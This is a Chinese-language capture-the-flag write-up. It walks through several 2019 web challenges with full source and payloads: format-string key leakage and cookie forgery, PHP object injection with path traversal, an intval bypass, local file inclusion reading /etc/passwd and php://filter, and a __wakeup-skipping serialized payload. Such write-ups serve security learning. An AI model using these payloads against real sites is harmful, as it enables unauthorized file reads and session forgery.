2019DDCTF writeUP
WEB签到题
各位大佬是不是对签到题有什么误解….
题目链接
http://117.51.158.44/index.php
打开链接发现提示没有登陆权限,查看js源代码发现请求了一次

使用postman重新发送请求并将didictf_username的值添加为admin

提示访问app/fL2XID2i0Cdh.php
查看后发现为网页的php源代码
Session.php
<php include 'Application.php'; class Session extends Application { var $eancrykey = ''; var $cookie_expiration = 7200; var $cookie_name = 'ddctf_id'; var $cookie_path = ''; var $cookie_domain = ''; var $cookie_secure = FALSE; var $activity = "DiDiCTF"; public function index() { if(parent::auth()) { $this->get_key(); if($this->session_read()) { $data = 'DiDI Welcome you %s'; $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']); parent::response($data,'sucess'); }else{ $this->session_create(); $data = 'DiDI Welcome you'; parent::response($data,'sucess'); } } } private function get_key() { $this->eancrykey = file_get_contents('config/key.txt'); } public function session_read() { if(empty($_COOKIE)) { return FALSE; } $session = $_COOKIE[$this->cookie_name]; if(!isset($session)) { parent::response("session not found",'error'); return FALSE; } $hash = substr($session,strlen($session)-32); $session = substr($session,0,strlen($session)-32); if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session); if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){ parent::response("session_id ip_address user_agent not match",'error'); return FALSE; } if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); } if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) { parent::response('the ip addree not match'.'error'); return FALSE; } if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) { parent::response('the user agent not match','error'); return FALSE; } return TRUE; } private function session_create() { $sessionid = ''; while(strlen($sessionid) < 32) { $sessionid .= mt_rand(0,mt_getrandmax()); } $userdata = array( 'session_id' => md5(uniqid($sessionid,TRUE)), 'ip_address' => $_SERVER['REMOTE_ADDR'], 'user_agent' => $_SERVER['HTTP_USER_AGENT'], 'user_data' => '', ); $cookiedata = serialize($userdata); $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata); $expire = $this->cookie_expiration + time(); setcookie( $this->cookie_name, $cookiedata, $expire, $this->cookie_path, $this->cookie_domain, $this->cookie_secure ); } }
$ar=file_get_contents('temp.txt'); $ar = substr($ar,0,strlen($ar)-32); $ar=unserialize($ar); $na=new Application(); $na->path="..././config/flag.txt"; array_push($ar,$na); $ar=serialize($ar); echo $ar.md5('EzblrbNS'.$ar);
|
Application.php
<php Class Application { var $path = ''; public function response($data, $errMsg = 'success') { $ret = ['errMsg' => $errMsg, 'data' => $data]; $ret = json_encode($ret); header('Content-type: application/json'); echo $ret; } public function auth() { return TRUE; } private function sanitizepath($path) { $path = trim($path); $path=str_replace('../','',$path); $path=str_replace('..\\','',$path); return $path; } public function __destruct() { if(empty($this->path)) { exit(); }else{ $path = $this->sanitizepath($this->path); if(strlen($path) !== 18) { exit(); } $this->response($data=file_get_contents($path),'Congratulations'); } exit(); } }
|
阅读源码后推测大概是利用Application类的析构函数实现读取文件.应该是反序列化
但在Session.php中有个cookie的MD5的验证
if($hash !== md5($this->eancrykey.$session)) { parent::response("the cookie data not match",'error'); return FALSE; } $session = unserialize($session);
|
之后才能反序列化
所以需要本地计算md5算好了再发过去实现通过验证
因此需要知道$this->eancrykey的值才能构造MD5实现验证
阅读Session.php发现eancrykey可以通过提交nickname字段获得
if(!empty($_POST["nickname"])) { $arr = array($_POST["nickname"],$this->eancrykey); $data = "Welcome my friend %s"; foreach ($arr as $k => $v) { $data = sprintf($data,$v); } parent::response($data,"Welcome"); }
|
可以发送带有nickname=%s的POST请求

成功获取eancrykey的值为EzblrbNS
接下来就是创建一个带有恶意构造的反序列化字段读取flag了
在session.php创建自己的反序列化对象并输出
$ar=file_get_contents('temp.txt'); $ar = substr($ar,0,strlen($ar)-32); $ar=unserialize($ar); $na=new Application(); $na->path="..././config/flag.txt"; array_push($ar,$na); $ar=serialize($ar); echo $ar.md5('EzblrbNS'.$ar);
|
记得这里好像要先转码再放到temp.txt中不然会有编码问题
然后将带有恶意序列化对象的cookie发送过去可以看到flag

DDCTF Upload-IMG
比赛的最后一天,本想划划水不做题了结果舍友却做得起劲.下午去网吧打了会守望,把活动奖励领了回来后发现舍友有重大发现..
这是一道web图片上传题目
看要求应该是要上传图片shell并要求上传的图片经过二次渲染后还有phpinfo()字段
网上有个外国大神写的脚本
脚本连接
使用方法1
使用方法2
掘安CTF
夺取尼日利亚
拿到题目 这是一道web题
http://www.jasec.cn/web1
打开后发现给出了源代码如下
<?php error_reporting(0); require 'flag.php'; $value = $_GET['value']; $password = $_GET['password']; $username = '';
for ($i = 0; $i < count($value); ++$i) { if ($value[$i] > 32 && $value[$i] < 127) unset($value); else $username .= chr($value[$i]); if ($username == 'w3lc0me_To_sec_WIki' && intval($password) < 232 && intval($password + 1) > 233) { echo 'Hello '.$username.'!', '<br>', PHP_EOL; echo $flag, '<hr>'; } }
highlight_file(__FILE__);
|
题目接受value和password两个参数
第一个for循环表示value的值为数组 且每一项的值不能为32-127之间的值 否则将被销毁
如果通过if条件语句则把value的每一个值转换成字母并追加到username后面
判断username是否等于 w3lc0me_To_sec_WIki 以及 password 的值是否满足条件
我们现在来一个一个绕过这些条件
首先题目接受 value 的值为数组且后期要整合到 username 中去
所以我们虽然要传入字符 但又不能是32-127之间的值 否则会被unset掉
而php在执行intval的时候会先将数字取模 256
将每一位字母的asiic值都增加256即可
name='w3lc0me_To_sec_WIki' for i in name: print(256+ord(i))
375 307 364 355 304 365 357 351 340 367 351 371 357 355 351 343 329 363 361
|
然后进行替换得到
value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=371&value[]=357&value[]=355&value[]=351&value[]=343&value[]=329&value[]=363&value[]=361
|
之后要绕过的就是password的值要小于232但加1要大于233
intval转换的规则
如果遇到数字则转换
如果遇到非数字则停止转换
要小于232的是直接使用intval进行转换
要大于233的是在进行加法后进行转换
于是构造
password=0x300
该值转换后的结果为
最终payload为
http://www.jasec.cn/web1/?password=0x300&value[]=375&value[]=307&value[]=364&value[]=355&value[]=304&value[]=365&value[]=357&value[]=351&value[]=340&value[]=367&value[]=351&value[]=371&value[]=357&value[]=355&value[]=351&value[]=343&value[]=329&value[]=363&value[]=361
2019全国大学生信息安全竞赛
打开题目,在f12源代码中可以发现提示我们访问index.php?file=xxx.php以及hint.php
访问index.php?file=hint.php提示缺少参数,但看起来应该是文件包含
构造/index.php?file=../../../../../../../etc/passwd可以查看到本地文件
于是构造
/index.php?file=php://filter/read=convert.base64-encode/resource=./index.php
可以查看源代码
查看index.php与hint.php的源代码后发现
传入的file参数会被包含进index.php
除此之外还要传递一个payload参数
该参数在后面会被反序列化,结合hint.php里的两个类可以造成读取任意文件.
index.php
<html> <?php error_reporting(0); $file = $_GET["file"]; $payload = $_GET["payload"]; if(!isset($file)){ echo 'Missing parameter'.'<br>'; } if(preg_match("/flag/",$file)){ die('hack attacked!!!'); } @include($file); if(isset($payload)){ $url = parse_url($_SERVER['REQUEST_URI']); echo 'url'.$url['query'].'<br>'; parse_str($url['query'],$query); echo 'query'.$query.'<br>'; echo 'url query'.$url['query'].'<br>'; foreach($query as $value){ if (preg_match("/flag/",$value)) { die('stop hacking!'); exit(); } } }else{ echo "Missing parameters"; } ?> <!--Please test index.php?file=xxx.php --> <!--Please get the source of hint.php--> </html>
|
hint.php
<?php class Handle{ private $handle; public function __wakeup(){ foreach(get_object_vars($this) as $k => $v) { $this->$k = null; } echo "Waking up\n"; } public function __construct($handle) { $this->handle = $handle; } public function __destruct(){ $this->handle->getFlag(); } }
class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = $this->token = md5(rand(1,10000)); } public function getFlag(){ $this->token_flag = md5(rand(1,10000)); if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } } ?>
|
可以看到file参数和payload参数都对flag字段进行了过滤.但没有直接对payload进行过滤而是对url的值进行了过滤
于是我们在index.php前添加///阻止url正常获取值
///index.php?file=hint.php
下一步就是构造带有falg.php的序列化值
在本地的hint.php修改代码为
class Flag{ public $file; public $token; public $token_flag; function __construct($file){ $this->file = $file; $this->token_flag = &$this->token; } public function getFlag(){ if($this->token === $this->token_flag) { if(isset($this->file)){ echo @highlight_file($this->file,true); } } } }
|
在hint.php的代码最后添加
$f=new Flag('flag.php');
$h=new Handle($f); $s=serialize($h).'<br>'; echo $s;
|
本地构造payload
O:6:"Handle":1:{s:14:"Handlehandle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
格式化 “ 替换成 %22 , 类名附近添加%00
O:6:%22Handle%22:1:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
但在Handle的__wakeup中所有变量被重置了,但在序列化字符串长度大于实际长度的时候会跳过weakup,所以我们将Handle的值加一
O:6:%22Handle%22:2:{s:14:%22%00Handle%00handle%22;O:4:%22Flag%22:3:{s:4:%22file%22;s:8:%22flag.php%22;s:5:%22token%22;N;s:10:%22token_flag%22;R:4;}}
完整payload
ichunqiu.com///index.php?file=hint.php&payload=O:6:"Handle":2:{s:14:"%00Handle%00handle";O:4:"Flag":3:{s:4:"file";s:8:"flag.php";s:5:"token";N;s:10:"token_flag";R:4;}}
<?php $flag = 'flag{44623d5b-79ab-479a-bfdf-285856871e4e}'; ?>
|